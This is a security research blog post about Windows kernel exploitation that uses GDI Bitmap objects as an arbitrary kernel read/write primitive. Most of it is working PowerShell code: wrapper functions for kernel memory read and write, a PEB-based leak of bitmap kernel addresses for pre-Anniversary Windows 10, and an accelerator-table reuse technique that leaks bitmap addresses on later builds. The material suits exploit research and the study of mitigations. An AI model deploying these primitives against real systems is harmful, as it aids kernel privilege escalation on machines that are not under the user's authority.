Introduction

Before we get started, credit should be given to Nicolas Economou, Diego Juarez and KeenLab for pushing Windows kernel exploitation techniques to their limit and for being generous enough to share some of this arcane knowledge with the wider community. In their Anniversary edition patch for Windows 10 (Build 1607), Microsoft patched an important information leak which had previously been used to disclose addresses of Bitmap objects in kernel space. This post discusses a new way of leaking Bitmap objects post-Anniversary. This method was first disclosed by Nicolas Economou and Diego Juarez in their 2016 talk at Ekoparty titled "Abusing GDI for ring0 exploit primitives: Reloaded".

Resources

The following resources provide background information on the use of bitmaps in the context of kernel exploitation.

Background

Bitmaps have been widely (ab)used to exploit kernel memory corruptions since 2015. The kernel bitmap surface object header contains an element (pvScan0) which is a pointer to the first scan line of the bitmap. From an exploitation perspective, this element provides a powerful ring0 primitive as there are a number of GDI API calls which directly operate on this pointer, most notable GetBitmapBits and SetBitmapBits. If a memory corruption allows an attacker to update this pointer, these API calls essentially provide arbitrary read and write in kernel space. This primitive is versatile and can be leveraged in most cases where the kernel vulnerability includes some form of arbitrary write.

A full explanation of this technique is beyond the scope of this post but we will try to touch on the essentials. Firstly, the attacker creates two Bitmap objects that are referred to as Manager and Worker. The next step leverages a kernel vulnerability to update the pvScan0 address of the Manager bitmap object so it points to the pvScan0 of the Worker. Once that has been accomplished, SetBitmapBits can be called on the Manager to update the pointer of the Worker and SetBitmapBits / GetBitmapBits can be called on the Worker to achieve arbitrary read and write. Example functions to wrap this logic are provided below.

# Arbitrary kernel read function Bitmap-Read { param ($Address) $CallResult = [API]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address)) [IntPtr]$Pointer = [API]::VirtualAlloc([System.IntPtr]::Zero, [System.IntPtr]::Size, 0x3000, 0x40) $CallResult = [API]::GetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, $Pointer) if ($x32){ [System.Runtime.InteropServices.Marshal]::ReadInt32($Pointer) } else { [System.Runtime.InteropServices.Marshal]::ReadInt64($Pointer) } $CallResult = [API]::VirtualFree($Pointer, [System.IntPtr]::Size, 0x8000) } # Arbitrary kernel write function Bitmap-Write { param ($Address, $Value) $CallResult = [API]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address)) $CallResult = [API]::SetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Value)) }

Pre-Anniversary Leak

When a Bitmap object is created by a process, an entry is added to the GdiSharedHandleTable of the process PEB as shown in the image below.

The pKernelAddress in the _GDI_CELL struct leaks the address of the Bitmap object in kernel space. Since the process can traverse it's own PEB it is relatively straight-forward to leak bitmap kernel object addresses. The PowerShell function below can be used to create a Manager and Worker bitmap pre-Anniversary patch.

function Stage-BitmapReadWrite { <# .SYNOPSIS Get PowerShell PEB, create manager&worker bitmaps and leak kernel objects. Warning: This only works up to Windows 10 v1607! .DESCRIPTION Author: Ruben Boonen (@FuzzySec) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .EXAMPLE C:\PS> Stage-BitmapReadWrite ManagerpvScan0 : -7692227456944 WorkerHandleTable : 767454567328 ManagerKernelObj : -7692227457024 PEB : 8757247991808 WorkerpvScan0 : -7692227415984 ManagerHandle : -737866269 WorkerHandle : 2080706172 GdiSharedHandleTable : 767454478336 ManagerHandleTable : 767454563656 WorkerKernelObj : -7692227416064 C:\PS> $BitMapObject = Stage-BitmapReadWrite C:\PS> "{0:X}" -f $BitMapObject.ManagerKernelObj FFFFF9010320F000 #> Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; [StructLayout(LayoutKind.Sequential)] public struct _PROCESS_BASIC_INFORMATION { public IntPtr ExitStatus; public IntPtr PebBaseAddress; public IntPtr AffinityMask; public IntPtr BasePriority; public UIntPtr UniqueProcessId; public IntPtr InheritedFromUniqueProcessId; } [StructLayout(LayoutKind.Explicit, Size = 256)] public struct _PEB { [FieldOffset(148)] public IntPtr GdiSharedHandleTable32; [FieldOffset(248)] public IntPtr GdiSharedHandleTable64; } [StructLayout(LayoutKind.Sequential)] public struct _GDI_CELL { public IntPtr pKernelAddress; public UInt16 wProcessId; public UInt16 wCount; public UInt16 wUpper; public UInt16 wType; public IntPtr pUserAddress; } public static class Gdi32 { [DllImport("gdi32.dll")] public static extern IntPtr CreateBitmap( int nWidth, int nHeight, uint cPlanes, uint cBitsPerPel, IntPtr lpvBits); } public static class Ntdll { [DllImport("ntdll.dll")] public static extern int NtQueryInformationProcess( IntPtr processHandle, int processInformationClass, ref _PROCESS_BASIC_INFORMATION processInformation, int processInformationLength, ref int returnLength); } "@ # Flag architecture $x32Architecture/!$x32Architecture if ([System.IntPtr]::Size -eq 4) { $x32Architecture = 1 } # Current Proc handle $ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle # Process Basic Information $PROCESS_BASIC_INFORMATION = New-Object _PROCESS_BASIC_INFORMATION $PROCESS_BASIC_INFORMATION_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($PROCESS_BASIC_INFORMATION) $returnLength = New-Object Int $CallResult = [Ntdll]::NtQueryInformationProcess($ProcHandle, 0, [ref]$PROCESS_BASIC_INFORMATION, $PROCESS_BASIC_INFORMATION_Size, [ref]$returnLength) # Lazy PEB parsing $_PEB = New-Object _PEB $_PEB = $_PEB.GetType() $BufferOffset = $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64() $NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset $PEBFlags = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_PEB) # _GDI_CELL size $_GDI_CELL = New-Object _GDI_CELL $_GDI_CELL_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($_GDI_CELL) # Manager Bitmap [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4) $ManagerBitmap = [Gdi32]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer) if ($x32Architecture) { $ManagerHandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size) $ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($ManagerHandleTableEntry) $ManagerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt32($ManagerHandleTableEntry)) + 0x30 } else { $ManagerHandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size) $ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($ManagerHandleTableEntry) $ManagerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt64($ManagerHandleTableEntry)) + 0x50 } # Worker Bitmap [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4) $WorkerBitmap = [Gdi32]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer) if ($x32Architecture) { $WorkerHandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size) $WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($WorkerHandleTableEntry) $WorkerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt32($WorkerHandleTableEntry)) + 0x30 } else { $WorkerHandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size) $WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($WorkerHandleTableEntry) $WorkerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt64($WorkerHandleTableEntry)) + 0x50 } $BitMapObject = @() $HashTable = @{ PEB = if ($x32Architecture){$PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt32()}else{$PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64()} GdiSharedHandleTable = if ($x32Architecture){$PEBFlags.GdiSharedHandleTable32.ToInt32()}else{$PEBFlags.GdiSharedHandleTable64.ToInt64()} ManagerHandle = $ManagerBitmap ManagerHandleTable = $ManagerHandleTableEntry ManagerKernelObj = $ManagerKernelObj ManagerpvScan0 = $ManagerpvScan0 WorkerHandle = $WorkerBitmap WorkerHandleTable = $WorkerHandleTableEntry WorkerKernelObj = $WorkerKernelObj WorkerpvScan0 = $WorkerpvScan0 } $Object = New-Object PSObject -Property $HashTable $BitMapObject += $Object $BitMapObject }

The output for his function can be seen below. Note that, for convenience, handles and addresses are represented as integers.

Process hacker can be used to verify these results.

Post-Anniversary Leak

With the Anniversary patch Microsoft replaced the pKernelAddress address in the _GDI_CELL struct with dummy data killing the kernel object leak. The demise of this ring0 primitive saddened a lot of exploit developers but was this truly the end? Who says the PEB is the only way to leak Bitmap objects?

When created, bitmaps objects are allocated on the paged kernel session pool.

The following list of user objects which reside on the paged pool was taken from MSDN.

Currently, on the latest version of Windows 10, it is possible to leak the kernel addresses of these objects. The image below illustrates this process using accelerator tables as an example.

The phead element of the _HANDLEENTRY struct discloses the kernel object address for the accelerator table. If we create an accelerator table, leak its address, free it and then allocate a bitmap of the same size we can force the kernel to reuse the free'd memory. To make this Use-After-Free (UAF) style information leak 100% reliable, all we need to do is make our objects large enough, e.g. 4 kB or more, to prevent arbitrary reuse.

After this operation, we end up with a bitmap at the address where the accelerator table used to be, regaining our powerful ring0 primitive! Sample code to achieve this in PowerShell can be seen below!

function Stage-gSharedInfoBitmap { <# .SYNOPSIS Universal Bitmap leak using accelerator tables, 32/64 bit Win7-10 (+post anniversary). .DESCRIPTION Author: Ruben Boonen (@FuzzySec) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .EXAMPLE PS C:\Users\b33f> Stage-gSharedInfoBitmap |fl BitmapKernelObj : -7692235059200 BitmappvScan0 : -7692235059120 BitmapHandle : 1845828432 PS C:\Users\b33f> $Manager = Stage-gSharedInfoBitmap PS C:\Users\b33f> "{0:X}" -f $Manager.BitmapKernelObj FFFFF901030FF000 #> Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; public static class gSharedInfoBitmap { [DllImport("gdi32.dll")] public static extern IntPtr CreateBitmap( int nWidth, int nHeight, uint cPlanes, uint cBitsPerPel, IntPtr lpvBits); [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)] public static extern IntPtr LoadLibrary( string lpFileName); [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)] public static extern IntPtr GetProcAddress( IntPtr hModule, string procName); [DllImport("user32.dll")] public static extern IntPtr CreateAcceleratorTable( IntPtr lpaccl, int cEntries); [DllImport("user32.dll")] public static extern bool DestroyAcceleratorTable( IntPtr hAccel); } "@ # Check Arch if ([System.IntPtr]::Size -eq 4) { $x32 = 1 } function Create-AcceleratorTable { [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(10000) $AccelHandle = [gSharedInfoBitmap]::CreateAcceleratorTable($Buffer, 700) # +4 kb size $User32Hanle = [gSharedInfoBitmap]::LoadLibrary("user32.dll") $gSharedInfo = [gSharedInfoBitmap]::GetProcAddress($User32Hanle, "gSharedInfo") if ($x32){ $gSharedInfo = $gSharedInfo.ToInt32() } else { $gSharedInfo = $gSharedInfo.ToInt64() } $aheList = $gSharedInfo + [System.IntPtr]::Size if ($x32){ $aheList = [System.Runtime.InteropServices.Marshal]::ReadInt32($aheList) $HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0xc # _HANDLEENTRY.Size = 0xC $phead = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleEntry) } else { $aheList = [System.Runtime.InteropServices.Marshal]::ReadInt64($aheList) $HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0x18 # _HANDLEENTRY.Size = 0x18 $phead = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleEntry) } $Result = @() $HashTable = @{ Handle = $AccelHandle KernelObj = $phead } $Object = New-Object PSObject -Property $HashTable $Result += $Object $Result } function Destroy-AcceleratorTable { param ($Hanlde) $CallResult = [gSharedInfoBitmap]::DestroyAcceleratorTable($Hanlde) } $KernelArray = @() for ($i=0;$i -lt 20;$i++) { $KernelArray += Create-AcceleratorTable if ($KernelArray.Length -gt 1) { if ($KernelArray[$i].KernelObj -eq $KernelArray[$i-1].KernelObj) { Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x50*2*4) $BitmapHandle = [gSharedInfoBitmap]::CreateBitmap(0x701, 2, 1, 8, $Buffer) # # +4 kb size -lt AcceleratorTable break } } Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle } $BitMapObject = @() $HashTable = @{ BitmapHandle = $BitmapHandle BitmapKernelObj = $($KernelArray[$i].KernelObj) BitmappvScan0 = if ($x32) {$($KernelArray[$i].KernelObj) + 0x32} else {$($KernelArray[$i].KernelObj) + 0x50} } $Object = New-Object PSObject -Property $HashTable $BitMapObject += $Object $BitMapObject }

The output for his function can be seen below.

To verify that this address (where the accelerator table used to be), in fact contains our bitmap, we can do "!pool ADDRESS" in KD.

Conclusion

Effective exploit mitigation requires a few different strategies including patching vulnerabilities, adding protections and eliminating known exploitation techniques. Microsoft's continued efforts in the last two categories has proved very fruitful and has greatly increased the security of the Windows kernel. These improvements increase the cost of exploit development and in some cases completely eliminate bug classes. While, as this post shows, new techniques may still be found, the playing field is getting ever smaller!

Further details on new mitigation's implemented in Windows 10 Anniversary patch can be found here.